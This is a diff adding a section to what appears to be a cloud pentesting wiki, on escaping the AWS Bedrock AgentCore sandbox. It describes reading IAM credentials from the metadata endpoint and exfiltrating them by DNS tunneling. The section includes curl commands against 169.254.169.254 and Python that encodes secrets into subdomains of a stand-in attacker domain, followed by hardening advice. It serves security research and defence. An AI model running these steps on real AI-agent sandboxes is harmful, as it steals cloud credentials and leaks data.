diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md index b620ee9a2..f418a1cf3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md @@ -130,11 +130,118 @@ The core issue is that the backend lets the model decide **who may do what** by - Treat each collaborator as a separate trust boundary: scope action groups narrowly, validate tool inputs in the backend, and require server-side authorization before high-impact actions. - Bedrock **pre-processing** can reject or classify suspicious requests before orchestration, and **Guardrails** can block prompt-injection attempts at runtime. They should be enabled even if prompt templates already contain “do not disclose” rules. +## AWS - AgentCore Sandbox Escape via DNS Tunneling and MMDS Abuse + +### Overview + +Amazon Bedrock AgentCore Code Interpreter runs inside an AWS-managed microVM and supports different network modes. The interesting post-exploitation question is not "can code run?" because code execution is the product feature, but whether the managed isolation still prevents **credential theft**, **exfiltration**, and **C2** once code runs. + +The useful chain is: + +1. Access the microVM metadata endpoint at `169.254.169.254` +2. Recover temporary credentials from MMDS if tokenless access is still allowed +3. Abuse sandbox DNS recursion as a covert egress path +4. Exfiltrate credentials or run a DNS-based control loop + +This is the Bedrock-specific version of the classic **metadata -> credentials -> exfiltration** cloud attack path. + +### Main primitives + +#### 1. Runtime SSRF -> MMDS credentials + +AgentCore Runtime is not supposed to expose arbitrary code execution to end users, so the interesting primitive there is **SSRF**. If the runtime can be tricked into requesting `http://169.254.169.254/...` and MMDS accepts plain `GET` requests without an MMDSv2 token, the SSRF becomes a direct credential theft primitive. + +This recreates the old **IMDSv1 risk model**: + +```bash +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ +``` + +If MMDSv2 is enforced, a simple SSRF usually loses impact because it also needs a preceding `PUT` request to obtain the session token. If MMDSv1-compatible access is still enabled on older agents/tools, treat Runtime SSRF as a high-severity credential theft path. + +#### 2. Code Interpreter -> MMDS reconnaissance + +Inside Code Interpreter, arbitrary code execution already exists by design, so MMDS mainly matters because it exposes: + +- temporary IAM role credentials +- instance metadata and tags +- internal service plumbing that hints at reachable AWS backends + +Interesting paths from the research: + +- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-url` +- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-kms-key` + +The returned S3 pre-signed URL is useful because it proves the sandbox still needs some outbound path to AWS services. That is a strong hint that "isolated" only means "restricted", not "offline". + +#### 3. Sandbox DNS recursion -> DNS tunneling + +The most valuable network finding is that Sandbox mode can still perform **DNS resolution**, including recursion for arbitrary public domains. Even if direct TCP/UDP data traffic is blocked, that is enough for **DNS tunneling**. + +Quick validation from inside the interpreter: + +```python +import socket + +socket.gethostbyname_ex("s3.us-east-1.amazonaws.com") +socket.gethostbyname_ex("attacker.example") +``` + +If attacker-controlled domains resolve, use the query name itself as the transport: + +```python +import base64 +import socket + +data = b"my-secret" +label = base64.urlsafe_b64encode(data).decode().rstrip("=") +socket.gethostbyname_ex(f"{label}.attacker.example") +``` + +The recursive resolver forwards the query to the attacker's authoritative DNS server, so the payload is recovered from DNS logs. Repeating this in chunks gives you a simple **egress channel** for: + +- MMDS credentials +- environment variables +- source code +- command output + +DNS responses can also carry small tasking values, enabling a basic **bidirectional DNS C2** loop. + +### Practical post-exploitation chain + +1. Get code execution in AgentCore Code Interpreter or SSRF in AgentCore Runtime. +2. Query MMDS and recover the attached role credentials when tokenless metadata is available. +3. Test whether sandbox/public DNS recursion reaches an attacker domain. +4. Chunk and encode credentials into subdomains. +5. Reconstruct them from authoritative DNS logs and reuse them with AWS APIs. + +For direct execution-role pivoting through a more privileged interpreter configuration, also check [AWS - Bedrock PrivEsc](../../aws-privilege-escalation/aws-bedrock-privesc/README.md). + +### Pre-signed URL signer identity leak + +The undocumented MMDS tag values can also leak backend identity information. If you intentionally break the signature of the returned S3 pre-signed URL, the `SignatureDoesNotMatch` response may disclose the signing `AWSAccessKeyID`. That key ID can then be mapped to an owning AWS account: + +```bash +aws sts get-access-key-info --access-key-id +``` + +This does not automatically grant write access outside the scope of the pre-signed object path, but it helps map the AWS-managed infrastructure behind the Bedrock service. + +### Hardening / detection + +- Prefer **VPC mode** when you need real network isolation instead of relying on Sandbox mode. +- Restrict DNS egress in VPC mode with **Route 53 Resolver DNS Firewall**. +- Require **MMDSv2** where AgentCore exposes that control, and disable MMDSv1 compatibility on older agents/tools. +- Treat any Runtime SSRF as potentially equivalent to metadata credential theft until MMDSv2-only behavior is verified. +- Keep AgentCore execution roles tightly scoped because DNS tunneling turns "non-internet" code execution into a practical exfiltration channel. + ## References - [When AI Remembers Too Much – Persistent Behaviors in Agents’ Memory (Unit 42)](https://unit42.paloaltonetworks.com/indirect-prompt-injection-poisons-ai-longterm-memory/) - [When an Attacker Meets a Group of Agents: Navigating Amazon Bedrock's Multi-Agent Applications (Unit 42)](https://unit42.paloaltonetworks.com/amazon-bedrock-multiagent-applications/) +- [Cracks in the Bedrock: Escaping the AWS AgentCore Sandbox (Unit 42)](https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/) - [Retain conversational context across multiple sessions using memory – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-memory.html) - [How Amazon Bedrock Agents works](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-how.html) - [Advanced prompt templates – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/advanced-prompts-templates.html) @@ -143,5 +250,7 @@ The core issue is that the backend lets the model decide **who may do what** by - [Monitor model invocation using CloudWatch Logs and Amazon S3 – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html) - [Track agent’s step-by-step reasoning process using trace – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/trace-events.html) - [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/guardrails/) +- [Understanding credentials management in Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html) +- [Resource management - Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-resource-management.html) {{#include ../../../../banners/hacktricks-training.md}}